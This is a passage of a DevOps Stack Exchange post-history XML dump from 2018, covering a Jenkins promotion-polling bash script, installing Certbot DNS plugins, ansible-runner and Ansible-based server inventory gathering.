WEB_PATH=&quot;job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/promotionProcess/${DEPLOY_PROMOTION_NAME}/promotionCondition/hudson.plugins.promoted_builds.conditions.ManualCondition/approve&quot;&#xD;&#xA;        SUBMIT=&quot;Approve&quot;&#xD;&#xA;    else&#xD;&#xA;        echo &quot;The job has already been promoted, triggering it with 'Re-execute promotion'&quot;&#xD;&#xA;        WEB_PATH=&quot;job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/${DEPLOY_PROMOTION_NAME}/build&quot;&#xD;&#xA;        SUBMIT=&quot;Re-execute+promotion&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #note for the troubleshooting: in case the following curl fails then the error cause can be found near the string &quot;stack trace&quot;&#xD;&#xA;    CURL_OUTPUT=&quot;$(  curl -s -vvv -XPOST -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}${WEB_PATH}&quot;  \&#xD;&#xA;                           --data 'json={&#xD;&#xA;                                     &quot;parameter&quot;: [&#xD;&#xA;                                                    '&quot;${PROMOTION_ARGUMENTS}&quot;'&#xD;&#xA;                                                  ]&#xD;&#xA;                                        }&amp;Submit='&quot;${SUBMIT}&quot; 2&gt;&amp;1 )&quot;&#xD;&#xA;    &#xD;&#xA;    if ( echo &quot;${CURL_OUTPUT}&quot; |  grep -P &quot;&lt; HTTP/1.1 5\d\d&quot; ) || ( echo &quot;${CURL_OUTPUT}&quot; |  grep -P &quot;&lt; HTTP/1.1 4\d\d&quot; ) ; then&#xD;&#xA;      echo  'error in triggering the job/promotion! exiting...'&#xD;&#xA;      exit 1&#xD;&#xA;    else&#xD;&#xA;      echo  'curl good'&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;checking promotion status until promotion is finished&quot;&#xD;&#xA;    FINISHED=no&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    INITIAL_TIME=&quot;$(date +%s)&quot;&#xD;&#xA;    while [ &quot;${FINISHED}&quot; != &quot;ok&quot; ]&#xD;&#xA;    do&#xD;&#xA;        sleep 2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        #checking if promotion is finished (we check the value of &lt;duration&gt; XML element in the job run status)&#xD;&#xA;        ERROR=&quot;&quot; ; DURATION=&quot;$(curl -s  -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/${DEPLOY_PROMOTION_NAME}/promotionBuild/${PROMOTION_RUN_NUMBER}/api/xml&quot;    | grep -Po  '&lt;duration&gt;.*&lt;/duration&gt;'   | sed -re  's/&lt;duration&gt;(.*)&lt;\/duration&gt;/\1/g' )&quot;   || ERROR=&quot;yes&quot;&#xD;&#xA;        if [[ $ERROR == &quot;yes&quot; ]] ; then&#xD;&#xA;          echo &quot; the promotion has been queued but not yet started, waiting for it to start...&quot;&#xD;&#xA;          curl -s  -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/${DEPLOY_PROMOTION_NAME}/promotionBuild/${PROMOTION_RUN_NUMBER}/api/xml&quot;&#xD;&#xA;          ERROR=&quot;&quot;&#xD;&#xA;          continue&#xD;&#xA;        fi  ;   ERROR=&quot;&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        #we interrupt the polling of the job/promotion status if the promotion&#xD;&#xA;        #  - is terminated&#xD;&#xA;        #  - is taking too long (there is some problem)&#xD;&#xA;        #(in the XML of the job run status the &lt;duration&gt; XML element value is initially empty, than it is 0, and eventually is the number of seconds of the run duration )&#xD;&#xA;    &#xD;&#xA;        POLLING_TIME=&quot;$(date +%s)&quot;&#xD;&#xA;        let &quot;ELAPSED_TIME=POLLING_TIME-INITIAL_TIME&quot;&#xD;&#xA;        echo &quot;ELAPSED_TIME=${ELAPSED_TIME}&quot;&#xD;&#xA;    &#xD;&#xA;        if  (( ${ELAPSED_TIME} \&gt; $TIMEOUT ))  ; then&#xD;&#xA;          echo &quot;error: the promotion has taken too long... exiting&quot;&#xD;&#xA;          exit 1&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if  [[ &quot;${DURATION}&quot; != &quot;&quot; ]] ; then&#xD;&#xA;          re='^[0-9]+$'&#xD;&#xA;          if [[ $DURATION =~ $re ]] ; then&#xD;&#xA;            if (( &quot;${DURATION}&quot; \&gt; &quot;0&quot; )) ; then&#xD;&#xA;              FINISHED=ok&#xD;&#xA;            else&#xD;&#xA;              : #do nothing (the value of &lt;duration&gt; is 0 , that is the job/promotion has been started in a slave and is still running)&#xD;&#xA;            fi&#xD;&#xA;          else&#xD;&#xA;            echo &quot;error: the promotion duration is not a number. exiting...&quot;&#xD;&#xA;            exit 1&#xD;&#xA;          fi&#xD;&#xA;        else&#xD;&#xA;          :  # the job/promotion has not yet started&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;waiting for the promotion to finish...&quot;&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    echo &quot;Promotion finished&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;Promotion output:&quot;&#xD;&#xA;    curl -s  -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/${DEPLOY_PROMOTION_NAME}/promotionBuild/${PROMOTION_RUN_NUMBER}/consoleText&quot; &gt; ${WORKSPACE_FOLDER}/promotionOutput&#xD;&#xA;    &#xD;&#xA;    cat ${WORKSPACE_FOLDER}/promotionOutput&#xD;&#xA;    &#xD;&#xA;    if [[ ! &quot;$(tail -n1 ${WORKSPACE_FOLDER}/promotionOutput)&quot; =~ &quot;SUCCESS&quot;  ]] ; then&#xD;&#xA;          echo &quot;Promotion did not successfully terminate&quot;&#xD;&#xA;          exit 1&#xD;&#xA;    else&#xD;&#xA;          echo &quot;Promotion successfully terminated&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.cloudbees.com/hc/en-us/articles/228392127-How-to-wait-for-build-to-finish-when-triggering-from-CLI-" ContentLicense="CC BY-SA 4.0" />
  <row Id="15236" PostHistoryTypeId="50" PostId="4615" RevisionGUID="5d7f4fb0-ca11-4b22-8b68-4845cdbd1c17" CreationDate="2018-08-25T16:00:02.100" UserId="-1" />
  <row Id="15237" PostHistoryTypeId="2" PostId="4845" RevisionGUID="2d5d0de6-5935-4ed3-b32d-a9848efe0236" CreationDate="2018-08-25T16:02:14.897" UserId="9424" Text="Better method, thanks to the others responses for helping me get to this.&#xD;&#xA;&#xD;&#xA;Determine what plugins are installed currently:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # certbot-auto plugins&#xD;&#xA;    Saving debug log to /var/log/letsencrypt/letsencrypt.log&#xD;&#xA;&#xD;&#xA;    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&#xD;&#xA;    * apache&#xD;&#xA;    Description: Apache Web Server plugin - Beta&#xD;&#xA;    Interfaces: IAuthenticator, IInstaller, IPlugin&#xD;&#xA;    Entry point: apache = certbot_apache.entrypoint:ENTRYPOINT&#xD;&#xA;&#xD;&#xA;    * nginx&#xD;&#xA;    Description: Nginx Web Server plugin&#xD;&#xA;    Interfaces: IAuthenticator, IInstaller, IPlugin&#xD;&#xA;    Entry point: nginx = certbot_nginx.configurator:NginxConfigurator&#xD;&#xA;&#xD;&#xA;    * standalone&#xD;&#xA;    Description: Spin up a temporary webserver&#xD;&#xA;    Interfaces: IAuthenticator, IPlugin&#xD;&#xA;    Entry point: standalone = certbot.plugins.standalone:Authenticator&#xD;&#xA;&#xD;&#xA;    * webroot&#xD;&#xA;    Description: Place files in webroot directory&#xD;&#xA;    Interfaces: IAuthenticator, IPlugin&#xD;&#xA;    Entry point: webroot = certbot.plugins.webroot:Authenticator&#xD;&#xA;    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Determine where your certbot (in my case certbot-auto) is installed:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # find / -name certbot&#xD;&#xA;    /opt/eff.org/certbot&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Get into the Virtual Env and install plugin&#xD;&#xA;&#xD;&#xA;    cd /opt/eff.org/certbot/venv&#xD;&#xA;    source bin/activate&#xD;&#xA;    pip install certbot-dns-google&#xD;&#xA;    deactivate&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Verify certbot plugins again&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # certbot-auto plugins&#xD;&#xA;    Saving debug log to /var/log/letsencrypt/letsencrypt.log&#xD;&#xA;&#xD;&#xA;    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&#xD;&#xA;    * apache&#xD;&#xA;    Description: Apache Web Server plugin - Beta&#xD;&#xA;    Interfaces: IAuthenticator, IInstaller, IPlugin&#xD;&#xA;    Entry point: apache = certbot_apache.entrypoint:ENTRYPOINT&#xD;&#xA;&#xD;&#xA;    * dns-google&#xD;&#xA;    Description: Obtain certificates using a DNS TXT record (if you are using Google&#xD;&#xA;    Cloud DNS for DNS).&#xD;&#xA;    Interfaces: IAuthenticator, IPlugin&#xD;&#xA;    Entry point: dns-google = certbot_dns_google.dns_google:Authenticator&#xD;&#xA;&#xD;&#xA;    * nginx&#xD;&#xA;    Description: Nginx Web Server plugin&#xD;&#xA;    Interfaces: IAuthenticator, IInstaller, IPlugin&#xD;&#xA;    Entry point: nginx = certbot_nginx.configurator:NginxConfigurator&#xD;&#xA;&#xD;&#xA;    * standalone&#xD;&#xA;    Description: Spin up a temporary webserver&#xD;&#xA;    Interfaces: IAuthenticator, IPlugin&#xD;&#xA;    Entry point: standalone = certbot.plugins.standalone:Authenticator&#xD;&#xA;&#xD;&#xA;    * webroot&#xD;&#xA;    Description: Place files in webroot directory&#xD;&#xA;    Interfaces: IAuthenticator, IPlugin&#xD;&#xA;    Entry point: webroot = certbot.plugins.webroot:Authenticator&#xD;&#xA;    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15241" PostHistoryTypeId="50" PostId="3056" RevisionGUID="d980a5b1-5d6a-45b1-a8fd-aebb538301a7" CreationDate="2018-08-25T17:00:46.140" UserId="-1" />
  <row Id="15242" PostHistoryTypeId="2" PostId="4847" RevisionGUID="fb4d811c-d1e2-48b3-9daa-e7cfbf373b30" CreationDate="2018-08-25T17:14:28.397" UserId="2704" Text="I've read the [README file][1] from the github repository as well as the [documentation site][2] of ansible-runner (from the official ansible project) but I don't understand what is ansible-runner about and in which case can it be useful ? Is it a project bring additional features or it is created to run ansible in a different way ?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible-runner/blob/master/README.md&#xD;&#xA;  [2]: https://ansible-runner.readthedocs.io/en/latest/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15243" PostHistoryTypeId="1" PostId="4847" RevisionGUID="fb4d811c-d1e2-48b3-9daa-e7cfbf373b30" CreationDate="2018-08-25T17:14:28.397" UserId="2704" Text="What is ansible-runner about?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15244" PostHistoryTypeId="3" PostId="4847" RevisionGUID="fb4d811c-d1e2-48b3-9daa-e7cfbf373b30" CreationDate="2018-08-25T17:14:28.397" UserId="2704" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15246" PostHistoryTypeId="50" PostId="1931" RevisionGUID="b8725045-4ca2-4b6c-a116-f6ebab841be8" CreationDate="2018-08-25T19:00:47.020" UserId="-1" />
  <row Id="15247" PostHistoryTypeId="5" PostId="4273" RevisionGUID="797824c0-6608-4d45-8683-003d121faa62" CreationDate="2018-08-25T19:18:02.120" UserId="40" Comment="edited body" Text="Let's say I have a number of tools like Docker bench security, some static security scanners, etc. Now I have let's say free Ansible edition (no expenses are considered).&#xD;&#xA;&#xD;&#xA;I have lots of logs, but not much automated, actionable info that triggers scripts. What is a proper way to automate link between static scanners and CM tools like Ansible and Jenkins? &#xD;&#xA;&#xD;&#xA;Should it go like:&#xD;&#xA;&#xD;&#xA;1. Parse logs for set of errors and then automatically trigger &quot;correcting scripts&quot;?&#xD;&#xA;2. Just run a playbook once in a while as it checks the state before doing anything?&#xD;&#xA;3. Use tools/plugins for ansible?&#xD;&#xA;4. Something else?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15248" PostHistoryTypeId="6" PostId="4831" RevisionGUID="ac7d14ca-1bde-4f25-85aa-48420f74794a" CreationDate="2018-08-25T19:21:11.440" UserId="2704" Comment="update tag with correct one" Text="&lt;capacity-planning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15249" PostHistoryTypeId="24" PostId="4831" RevisionGUID="ac7d14ca-1bde-4f25-85aa-48420f74794a" CreationDate="2018-08-25T19:21:11.440" Comment="Proposed by 2704 approved by -1 edit id of 773" ContentLicense="CC BY-SA 4.0" />
  <row Id="15250" PostHistoryTypeId="5" PostId="4831" RevisionGUID="cf8118a4-0dc6-485f-9724-5e49662cfe13" CreationDate="2018-08-25T19:21:11.440" UserId="40" Comment="added 7 characters in body" Text="I am trying to answer a question: &#xD;&#xA;###Do we need more worker machines to handle current load?&#xD;&#xA;&#xD;&#xA;We have a variable number of jobs coming in and each job takes different time. Here is a snapshot of our system for a period 12 hours.&#xD;&#xA;&#xD;&#xA;[![Jobs in 8 hours][1]][1]&#xD;&#xA;&#xD;&#xA;But the number of jobs in system changes based on day and time.&#xD;&#xA;&#xD;&#xA;How can I calculate throughput of our system and build monitoring around max load that our system can handle?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/tniGY.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="15251" PostHistoryTypeId="50" PostId="3317" RevisionGUID="4c3c461b-2125-48af-a6b9-3b38760d2a93" CreationDate="2018-08-25T20:01:25.350" UserId="-1" />
  <row Id="15252" PostHistoryTypeId="50" PostId="1746" RevisionGUID="714d5181-4830-40c8-b8c8-7e1849e68c05" CreationDate="2018-08-25T22:01:21.413" UserId="-1" />
  <row Id="15253" PostHistoryTypeId="2" PostId="4848" RevisionGUID="87a7e071-9e0a-47ec-8f63-4a5fc1f01bab" CreationDate="2018-08-25T22:01:33.813" UserId="9404" Text="[We recommend not adding Anaconda to the PATH environment variable, since this can interfere with other software][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.anaconda.com/anaconda/install/windows Troubleshooting with verbose option [Anaconda 4.4 added a feature to the Windows installer so that the “verbose” install information is printed out to a special debug stream][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.anaconda.com/anaconda/user-guide/troubleshooting#i-m-having-trouble-with-the-anaconda-installer-on-windows-how-can-i-debug-my-issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="15254" PostHistoryTypeId="5" PostId="4848" RevisionGUID="5810d2b6-936e-4a7b-9066-acefc05015ea" CreationDate="2018-08-25T22:06:57.757" UserId="9404" Comment="deleted 35 characters in body" Text="[We recommend not adding Anaconda to the PATH environment variable, since this can interfere with other software][1]&#xD;&#xA;&#xD;&#xA;[1]: https://docs.anaconda.com/anaconda/install/windows&#xD;&#xA;[Anaconda 4.4 added a feature to the Windows installer so that the “verbose” install information is printed out to a special debug stream][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;  [2]: https://docs.anaconda.com/anaconda/user-guide/troubleshooting#i-m-having-trouble-with-the-anaconda-installer-on-windows-how-can-i-debug-my-issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="15255" PostHistoryTypeId="50" PostId="4623" RevisionGUID="4a59b478-79e2-461c-ae61-9a7ff01b583d" CreationDate="2018-08-26T00:00:40.387" UserId="-1" />
  <row Id="15256" PostHistoryTypeId="5" PostId="4848" RevisionGUID="e871606d-e79f-4740-ac55-03b5d8c64ff2" CreationDate="2018-08-26T05:42:25.247" UserId="40" Comment="added 31 characters in body" Text="We recommend not adding Anaconda to the PATH environment variable, since this can interfere with other software [read more ...][1]&#xD;&#xA;&#xD;&#xA;[1]: https://docs.anaconda.com/anaconda/install/windows&#xD;&#xA;&#xD;&#xA;Anaconda 4.4 added a feature to the Windows installer so that the “verbose” install information is printed out to a special debug streame [read more ...][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;  [2]: https://docs.anaconda.com/anaconda/user-guide/troubleshooting#i-m-having-trouble-with-the-anaconda-installer-on-windows-how-can-i-debug-my-issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="15257" PostHistoryTypeId="5" PostId="3757" RevisionGUID="4f7c7742-ee95-445a-8c46-fbb902a26ed6" CreationDate="2018-08-26T05:44:46.547" UserId="6375" Comment="Format content" Text="I installed Certbot by following [this tutorial][1]&#xD;&#xA;&#xD;&#xA;    sudo add-apt-repository ppa:certbot/certbot&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install python-certbot-nginx&#xD;&#xA;&#xD;&#xA;And now I want to set up my cert, but I need the `dns-digitalocean` plugin:&#xD;&#xA;&#xD;&#xA;    # certbot certonly --dns-digitalocean&#xD;&#xA;    Saving debug log to /var/log/letsencrypt/letsencrypt.log&#xD;&#xA;    Could not choose appropriate plugin: The requested dns-digitalocean plugin does not appear to be installed&#xD;&#xA;    The requested dns-digitalocean plugin does not appear to be installed&#xD;&#xA;&#xD;&#xA;I tried installing it with `pip`:&#xD;&#xA;&#xD;&#xA;    pip install certbot-dns-digitalocean&#xD;&#xA;&#xD;&#xA;But apparently the apt-get version isn't &quot;seeing&quot; it.&#xD;&#xA;&#xD;&#xA;How do I install it properly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04" ContentLicense="CC BY-SA 4.0" />
  <row Id="15258" PostHistoryTypeId="24" PostId="3757" RevisionGUID="4f7c7742-ee95-445a-8c46-fbb902a26ed6" CreationDate="2018-08-26T05:44:46.547" Comment="Proposed by 6375 approved by -1 edit id of 774" ContentLicense="CC BY-SA 4.0" />
  <row Id="15259" PostHistoryTypeId="5" PostId="3757" RevisionGUID="1adc8435-fef7-45eb-89f4-69939b897737" CreationDate="2018-08-26T05:44:46.547" UserId="40" Comment="added 1 character in body; edited title" Text="I installed Certbot by following [this tutorial][1]:&#xD;&#xA;&#xD;&#xA;    sudo add-apt-repository ppa:certbot/certbot&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install python-certbot-nginx&#xD;&#xA;&#xD;&#xA;And now I want to set up my cert, but I need the `dns-digitalocean` plugin:&#xD;&#xA;&#xD;&#xA;    # certbot certonly --dns-digitalocean&#xD;&#xA;    Saving debug log to /var/log/letsencrypt/letsencrypt.log&#xD;&#xA;    Could not choose appropriate plugin: The requested dns-digitalocean plugin does not appear to be installed&#xD;&#xA;    The requested dns-digitalocean plugin does not appear to be installed&#xD;&#xA;&#xD;&#xA;I tried installing it with `pip`:&#xD;&#xA;&#xD;&#xA;    pip install certbot-dns-digitalocean&#xD;&#xA;&#xD;&#xA;But apparently the apt-get version isn't &quot;seeing&quot; it.&#xD;&#xA;&#xD;&#xA;How do I install it properly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04" ContentLicense="CC BY-SA 4.0" />
  <row Id="15260" PostHistoryTypeId="4" PostId="3757" RevisionGUID="1adc8435-fef7-45eb-89f4-69939b897737" CreationDate="2018-08-26T05:44:46.547" UserId="40" Comment="added 1 character in body; edited title" Text="How to install Certbot plugins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15264" PostHistoryTypeId="50" PostId="4161" RevisionGUID="e4eb7fc3-58ca-4602-b578-fe3b777649c4" CreationDate="2018-08-26T09:01:16.147" UserId="-1" />
  <row Id="15269" PostHistoryTypeId="5" PostId="4839" RevisionGUID="c704b547-9822-4a03-96e5-29d8d43a021a" CreationDate="2018-08-26T11:28:50.217" UserId="40" Comment="added 36 characters in body" Text="KPI- key performance indicator or software metrics could help. for starters after a bit googling. kubernetes has self-healing mechanism in which whether thresholds could be set up to heal after exceeding some measures is something I never tried. I d love to know if it is doable though.&#xD;&#xA;&#xD;&#xA;[Monitoring Kubernetes performance metrics][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/DataDog/the-monitor/blob/master/kubernetes/monitoring-kubernetes-performance-metrics.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="15270" PostHistoryTypeId="50" PostId="4379" RevisionGUID="817c17a1-f506-4dbf-aeb0-1dd1255fc43f" CreationDate="2018-08-26T14:01:00.803" UserId="-1" />
  <row Id="15271" PostHistoryTypeId="50" PostId="4393" RevisionGUID="0e86e713-1f95-41ba-86de-8a1b3f90fb3f" CreationDate="2018-08-26T17:01:16.660" UserId="-1" />
  <row Id="15281" PostHistoryTypeId="2" PostId="4852" RevisionGUID="5bdf2731-843c-42d9-bfac-2aa733eb7a18" CreationDate="2018-08-27T09:52:55.920" UserId="9442" Text="You should try CI / CD like:&#xD;&#xA;&#xD;&#xA; - [Codeship][1] ( free tier, and totally free for open source projects )&#xD;&#xA; - [travisci][2]&#xD;&#xA; - [circleci][3], ...&#xD;&#xA;&#xD;&#xA;Openshift, as @JamesKnott mention, but this one is a full PaaS, so it is meant to host your app too. &#xD;&#xA;&#xD;&#xA;Hope it helps&#xD;&#xA;&#xD;&#xA;  [1]: https://codeship.com/&#xD;&#xA;  [2]: https://travis-ci.org/&#xD;&#xA;  [3]: https://circleci.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15282" PostHistoryTypeId="50" PostId="4350" RevisionGUID="71498451-67bc-4fa6-9aac-26e6f15cabb0" CreationDate="2018-08-27T14:00:02.927" UserId="-1" />
  <row Id="15290" PostHistoryTypeId="50" PostId="4190" RevisionGUID="7b584bba-b028-4c30-8101-d32fb3e40ef5" CreationDate="2018-08-27T17:00:50.927" UserId="-1" />
  <row Id="15292" PostHistoryTypeId="2" PostId="4855" RevisionGUID="8f301fe9-6fc9-432c-983f-9caf180eaafb" CreationDate="2018-08-27T17:27:42.090" UserId="6579" Text="You normally would access environment variables using the following syntax:&#xD;&#xA;&#xD;&#xA;    env.MY_ISSUE_ID&#xD;&#xA;&#xD;&#xA;Typically you'll see the following in practice regarding envvars:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent any&#xD;&#xA;      environment {&#xD;&#xA;        MY_ISSUE_ID = 'PROJECT-1234'&#xD;&#xA;      }&#xD;&#xA;      stages {&#xD;&#xA;        stage('Build') {&#xD;&#xA;          steps {&#xD;&#xA;            echo env.MY_ISSUE_ID&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    node{&#xD;&#xA;      stage('Build') {&#xD;&#xA;        withEnv([&quot;MY_ISSUE_ID=PROJECT-1234&quot;]) {&#xD;&#xA;          echo env.MY_ISSUE_ID&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="15293" PostHistoryTypeId="50" PostId="3419" RevisionGUID="f45d7fea-abe9-4ada-92bf-9f9451b76dd3" CreationDate="2018-08-27T18:00:38.267" UserId="-1" />
  <row Id="15294" PostHistoryTypeId="50" PostId="3488" RevisionGUID="7daa92fd-6925-4e56-9395-03855f18956d" CreationDate="2018-08-27T19:01:23.360" UserId="-1" />
  <row Id="15295" PostHistoryTypeId="6" PostId="4847" RevisionGUID="0731e44a-5259-455c-ba3b-6b290326d47b" CreationDate="2018-08-27T19:32:18.257" UserId="2704" Comment="edited tags" Text="&lt;ansible&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15296" PostHistoryTypeId="50" PostId="3953" RevisionGUID="d4215d6f-f9ad-4341-959f-c9cc8fd784bf" CreationDate="2018-08-27T20:00:51.677" UserId="-1" />
  <row Id="15297" PostHistoryTypeId="2" PostId="4856" RevisionGUID="9c21d570-dbd2-40f9-845c-8e7d5ec33807" CreationDate="2018-08-27T22:02:28.080" UserId="9453" Text="Recently, I use `ansible` to gather information periodically from thousands of servers in our company.&#xD;&#xA;&#xD;&#xA;For example: I need to get those information daily&#xD;&#xA;&#xD;&#xA;- kernel version&#xD;&#xA;- installed packages versions(JDK, docker, etc)&#xD;&#xA;- running process info&#xD;&#xA;- some commands output (lldp, docker ps, etc)&#xD;&#xA;- some files content (cat /etc/some/config | grep word)&#xD;&#xA;&#xD;&#xA;I use ansible `shell` module to execute those variant commands and parse the output into our inventory  NOSQL.&#xD;&#xA;&#xD;&#xA;By using ansible which use SSH/WINRM to access thousands servers seems inefficient.(which fine tune with more `forks`, enabled `ControlMaster` `pipeline`, etc).&#xD;&#xA;&#xD;&#xA;I are trying to find a better way to replace ansible for those information gathering and parsing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Below are some solutions which I am surveying.&#xD;&#xA;&#xD;&#xA;`facebook/osquery` is flexible and powerful, but maybe not easy(comparing to bash script) to run a customized commands and parsing the output by writing an extension. &#xD;&#xA;&#xD;&#xA;`collectd with exec plugin` to run customized scripts seems straightforward. in this way I need to deploy new scripts to all servers from day to day. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Are there some tools which is more suitable for such variant commands output gathering? and easy to `deploy`, `reporting`, or may with some `dashboard` and `API` for operation." ContentLicense="CC BY-SA 4.0" />
  <row Id="15298" PostHistoryTypeId="1" PostId="4856" RevisionGUID="9c21d570-dbd2-40f9-845c-8e7d5ec33807" CreationDate="2018-08-27T22:02:28.080" UserId="9453" Text="tools to gather variant information from thousands of servers and update into database" ContentLicense="CC BY-SA 4.0" />
  <row Id="15299" PostHistoryTypeId="3" PostId="4856" RevisionGUID="9c21d570-dbd2-40f9-845c-8e7d5ec33807" CreationDate="2018-08-27T22:02:28.080" UserId="9453" Text="&lt;monitoring&gt;&lt;systems&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15300" PostHistoryTypeId="2" PostId="4857" RevisionGUID="7c5173d7-761b-4186-9915-55f263743ca6" CreationDate="2018-08-27T22:03:15.773" UserId="9454" Text="You can use `File Content Replacer` build feature with predefined templates for ASP.NET Core&#xD;&#xA;&#xD;&#xA;https://confluence.jetbrains.com/display/TCD18/File+Content+Replacer#FileContentReplacer-.NetCorecsprojtemplates" ContentLicense="CC BY-SA 4.0" />
  <row Id="15301" PostHistoryTypeId="5" PostId="4856" RevisionGUID="b19e6fd4-e966-4e4d-aab7-b70ccc6f9781" CreationDate="2018-08-27T22:09:32.580" UserId="9453" Comment="added 82 characters in body" Text="Recently, I use `ansible` to gather information periodically from thousands of servers(which already installed `collectd` to gather CPU, memory, disks, netowrking info) in our company.&#xD;&#xA;&#xD;&#xA;For example: I need to get those information daily&#xD;&#xA;&#xD;&#xA;- kernel version&#xD;&#xA;- installed packages versions(JDK, docker, etc)&#xD;&#xA;- running process info&#xD;&#xA;- some commands output (lldp, docker ps, etc)&#xD;&#xA;- some files content (cat /etc/some/config | grep word)&#xD;&#xA;&#xD;&#xA;I use ansible `shell` module to execute those variant commands and parse the output into our inventory  NOSQL.&#xD;&#xA;&#xD;&#xA;By using ansible which use SSH/WINRM to access thousands servers seems inefficient.(which fine tune with more `forks`, enabled `ControlMaster` `pipeline`, etc).&#xD;&#xA;&#xD;&#xA;I are trying to find a better way to replace ansible for those information gathering and parsing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Below are some solutions which I am surveying.&#xD;&#xA;&#xD;&#xA;`facebook/osquery` is flexible and powerful, but maybe not easy(comparing to bash script) to run a customized commands and parsing the output by writing an extension. &#xD;&#xA;&#xD;&#xA;`collectd with exec plugin` to run customized scripts seems straightforward. in this way I need to deploy new scripts to all servers from day to day. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Are there some tools which is more suitable for such variant commands output gathering? and easy to `deploy`, `reporting`, or may with some `dashboard` and `API` for operation." ContentLicense="CC BY-SA 4.0" />
  <row Id="15302" PostHistoryTypeId="6" PostId="4856" RevisionGUID="83d2f764-02a8-40cb-a881-25d3d3ab2726" CreationDate="2018-08-27T22:16:16.250" UserId="9453" Comment="edited tags" Text="&lt;ansible&gt;&lt;monitoring&gt;&lt;systems&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15303" PostHistoryTypeId="2" PostId="4858" RevisionGUID="8e2139e6-bcc6-4b86-ac0e-cb60b5ede68a" CreationDate="2018-08-28T01:30:38.113" UserId="739" Text="Doing something with `collectd` feeding into Prometheus or datadog is definitely a good idea for gathering metrics, but it doesn't help you with things like the kernel version.  Handling process monitoring might be better handled with nagios or datadog as well.  But for the bulk of what you're doing I'd say that it makes the most sense to stick with ansible.&#xD;&#xA;&#xD;&#xA;What you're doing sounds very similar to the [ansible-cmdb project](https://github.com/fboender/ansible-cmdb):&#xD;&#xA;&#xD;&#xA;&gt; Ansible-cmdb takes the output of Ansible's fact gathering and converts it into a static HTML overview page (and other things) containing system configuration information.&#xD;&#xA;&#xD;&#xA;&gt; It supports multiple types of output (html, csv, sql, etc) and extending information gathered 